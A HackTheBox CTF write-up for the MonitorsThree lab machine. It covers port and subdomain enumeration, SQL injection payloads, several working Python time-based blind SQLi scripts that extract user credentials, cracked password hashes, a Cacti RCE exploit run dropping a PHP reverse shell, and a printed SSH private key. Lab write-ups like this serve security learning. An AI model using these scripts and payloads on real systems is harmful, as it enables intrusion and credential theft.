> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# MonitorsThree HackTheBox Writeup

MonitorsThree HackTheBox Medium Linux machine writeup covering Subdomain Enumeration, SQLI - Manual Time Based Blind Injection (Python Scripting), Cracking Hashes, Cacti Exploitation (CVE-2024-25642)

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Skills:**

* Subdomain Enumeration
* SQLI - Manual Time Based Blind Injection (Python Scripting)
* Cracking Hashes
* Cacti Exploitation (CVE-2024-25642) - Malicious Package Import
* Information Leakage
* Internal Service Exploitation - Duplicati
* Abusing Duplicati - Bypassing Login Authentication with Server Passphrase
* Duplicati - Creating a backup for privileged reading and writing of files (Privilege Escalation)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248cee7ecd7dfbe0bf72b945d8732854e3731987%2Fimage%20(2306).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dada986844b36b784c989ab9a79593a54918c3a5%2Fimage%20(2307).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e04459a2a02bd8a1cbea3ab0856af4c78610b03%2Fimage%20(2308).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2289a18c2e887d96f2bf9c3a71b02fc7d8c68cd%2Fimage%20(2309).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-678a8073e2483768f03912c24ba86d8f58196890%2Fimage%20(2310).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed84638a21d781227e5afd768b7422c60c6592e8%2Fimage%20(2311).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b24bad742bf695cee988b2df9c516d53a177fc22%2Fimage%20(2312).png?alt=media" alt=""><figcaption></figcaption></figure>

### List of directories:

**Search only** directories

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e91576799bde076e18e2d659c440c3a84ae40fad%2Fimage%20(1332).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* Search for files with specific extensions (PHP, HTML, TXT) in the admin directory:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

We find the `db.php` file, but it does not contain any data.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-28717970baac1f37489e0027c484309c3e134684%2Fimage%20(1333).png?alt=media" alt=""><figcaption></figcaption></figure>

## Injection SQL

#### Detection of vulnerability

We identified an SQL vulnerability in the "Forgot Password" feature. The following payload was used to confirm the vulnerability:

```sql
admin' or 1=1-- -
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2413239952363812a420725e649f6ba899ccb99%2Fimage%20(1163).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Confirmation of vulnerability with time-based attack

To confirm the vulnerability, we used a time-based SQL attack:

```sql
admin' and sleep(5)-- -
```

The response took 5 seconds, thus confirming the vulnerability.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e746b207e5c62a3e8932ad306e9f15dd87da9d41%2Fimage%20(2772).png?alt=media" alt=""><figcaption></figcaption></figure>

## **SQL Injection - Time Based**

#### Automate exploitation with a Python script

We developed a Python script to automate data extraction via SQL injection. The script extracted the database name, table names, columns, and finally sensitive data such as usernames and passwords.

### Database:

**Example of script to extract the database name:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log configuration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Starting SQL injection attack...")
    
    for position in range(1, 100):
        character_found = False  # Indicator to check whether a character was found
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # A character was found
                break
        
        # If no character was found for this position, stop the loop
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    logger.info("SQL injection completed!")
    logger.info(f"Final extracted data: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Database name**: `monitorsthree_db`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c93af63a28a5ab1dc190fd65c03c55884463a54c%2Fimage%20(2773).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Databases:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log configuration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting database name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicator to check whether a character was found
        
        for character in characters:
            # Format the SQL request with all required variables
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # A character was found
                break
        
        # If no character was found for this position, stop the loop
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Request to extract database names
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("No more databases found.")
            break
        
        databases.append(database_name)
        logger.info(f"Found database: {database_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of databases: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6eb3556b428601990fd6f679865321d8108f12c3%2Fimage%20(2774).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Tables:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log configuration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting table name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicator to check whether a character was found
        
        for character in characters:
            # Format the SQL request with all required variables
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # A character was found
                break
        
        # If no character was found for this position, stop the loop
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Request to extract table names from the `monitorsthree_db` database
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("No more tables found.")
            break
        
        tables.append(table_name)
        logger.info(f"Found table: {table_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of tables in monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tables** : `invoices`, `customers`, `changelog`, `tasks`, `invoice_tasks`, `users`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-817a935a59cbe3e0506f21f5c683c490be6eddaf%2Fimage%20(2775).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Columns:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log configuration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting column name at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicator to check whether a character was found
        
        for character in characters:
            # Format the SQL request with all required variables
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # A character was found
                break
        
        # If no character was found for this position, stop the loop
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Request to extract column names from the `users` table
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("No more columns found.")
            break
        
        columns.append(column_name)
        logger.info(f"Found column: {column_name}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of columns in table 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Columns in the `users` table**: `id`, `username`, `email`, `password`, `name`, `position`, `dob`, `start_date`, `salary`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca55f3adfc7f7b9f4216d91941c1b39326fbdb96%2Fimage%20(2776).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Data extracted**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Log configuration
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extracting data at offset {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicator to check whether a character was found
        
        for character in characters:
            # Format the SQL request with all required variables
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Testing: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"Request failed: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Extracted data so far: {extracted_data}")
                character_found = True  # A character was found
                break
        
        # If no character was found for this position, stop the loop
        if not character_found:
            logger.info(f"No character found at position {position}. Ending extraction.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Request to extract usernames
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Request to extract passwords
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("No more credentials found.")
            break
        
        credentials.append((username, password))
        logger.info(f"Found credentials: {username}:{password}")
        offset += 1
    
    logger.info("SQL injection completed!")
    logger.info(f"List of credentials: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Perform a time-based SQL injection attack to extract credentials.")
    parser.add_argument("--url", required=True, help="Target URL for the SQL injection")
    parser.add_argument("--delay", type=float, default=0.85, help="Delay time for the SQL injection")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cd29fbeb0272277c22f5b2dd87b7118efa5161e%2Fimage%20(2779).png?alt=media" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Password Cracking

{% embed url="<https://crackstation.net/>" %}

We used **CrackStation** to crack hash passwords. The following credentials were obtained:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d50e74d72e1929319055a6263edd422f2d013e%2Fimage%20(2778).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identifiers:**

* User: `admin`
* Password: `greencacti2001`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1a10b5c0d10f80f09f9968b62102c9b549ff5bf%2F%7B99A84365-CAC2-4F99-B4C2-9ABCD5058FC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### /*/* List of sub-domains\:/*/*

Using the Gobuster command to enumerate subdomains:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

We find the `cacti.monitorsthree.htb` subdomain.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e322e227b379179c1331148e3f3a6ae88f4b5d34%2Fimage%20(1334).png?alt=media" alt=""><figcaption></figcaption></figure>

We add this entry in `/etc/hosts`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd67f9878b1c7acc6b50c96efd384e65c455e34b%2Fimage%20(1336).png?alt=media" alt=""><figcaption></figcaption></figure>

**Access to the Cacti connection panel:**

The Cacti connection panel, version 1.2.26, is available on this subdomain. With `admin:greencacti2001` credentials, we manage to connect.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9569ebcb6bc325f184ecc836aa6a69d39e4d900%2Fimage%20(1164).png?alt=media" alt=""><figcaption></figcaption></figure>

## Cacti RCE Vulnerability Exploitation <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

To exploit Cacti's NCE vulnerability, we will modify a PHP file and run an operating script:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b3d6ec067173955063f188a6077f764adf5af92%2Fimage%20(1168).png?alt=media" alt=""><figcaption></figcaption></figure>

This script creates a compressed file containing a PHP payload that will be injected into the target server, allowing us to get a reverse shell.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e78196f672197c437f48c04cbb6367761cbab65%2Fimage%20(1169).png?alt=media" alt=""><figcaption></figcaption></figure></div>

## **Privilege Escalation :**

By exploring the `/var/www/html` web directory, we find database files in the `cacti` folder, including the `config.php` configuration file located in `/var/www/html/cacti/include/config.php`.

Excerpts from `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84e41ca07ad68c8343c8acd11093c971f12f8971%2Fimage%20(1175).png?alt=media" alt=""><figcaption></figcaption></figure>

We then list users in the `user_auth` table in the `cacti` database:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a6f46176b44e7cb72916ec6b677cacdc225d94%2F%7B141E5C94-E5A4-40AE-94DE-72A480601B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-111336a7dca78fd4386cddc21a2cea961cfef9fe%2Fimage%20(1176).png?alt=media" alt=""><figcaption></figcaption></figure></div>

We use `john` to crack recovered passwords:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

This reveals the `marcus` user password: `12345678910`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61e8d76fdca37cc18c0423ddeb8be7745f3a151e%2Fimage%20(1177).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cae48acc12129d2984229eb20ed898a6ce73e1b%2Fimage%20(1178).png?alt=media" alt=""><figcaption></figcaption></figure>

After this step, we also get the `marcus` user SSH key:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-343a222d55a0209b1002bbbc6542cd8c563d9990%2Fimage%20(1159).png?alt=media" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

We will first observe the ports opened internally with the following command:

```bash
netstat -nltp
```

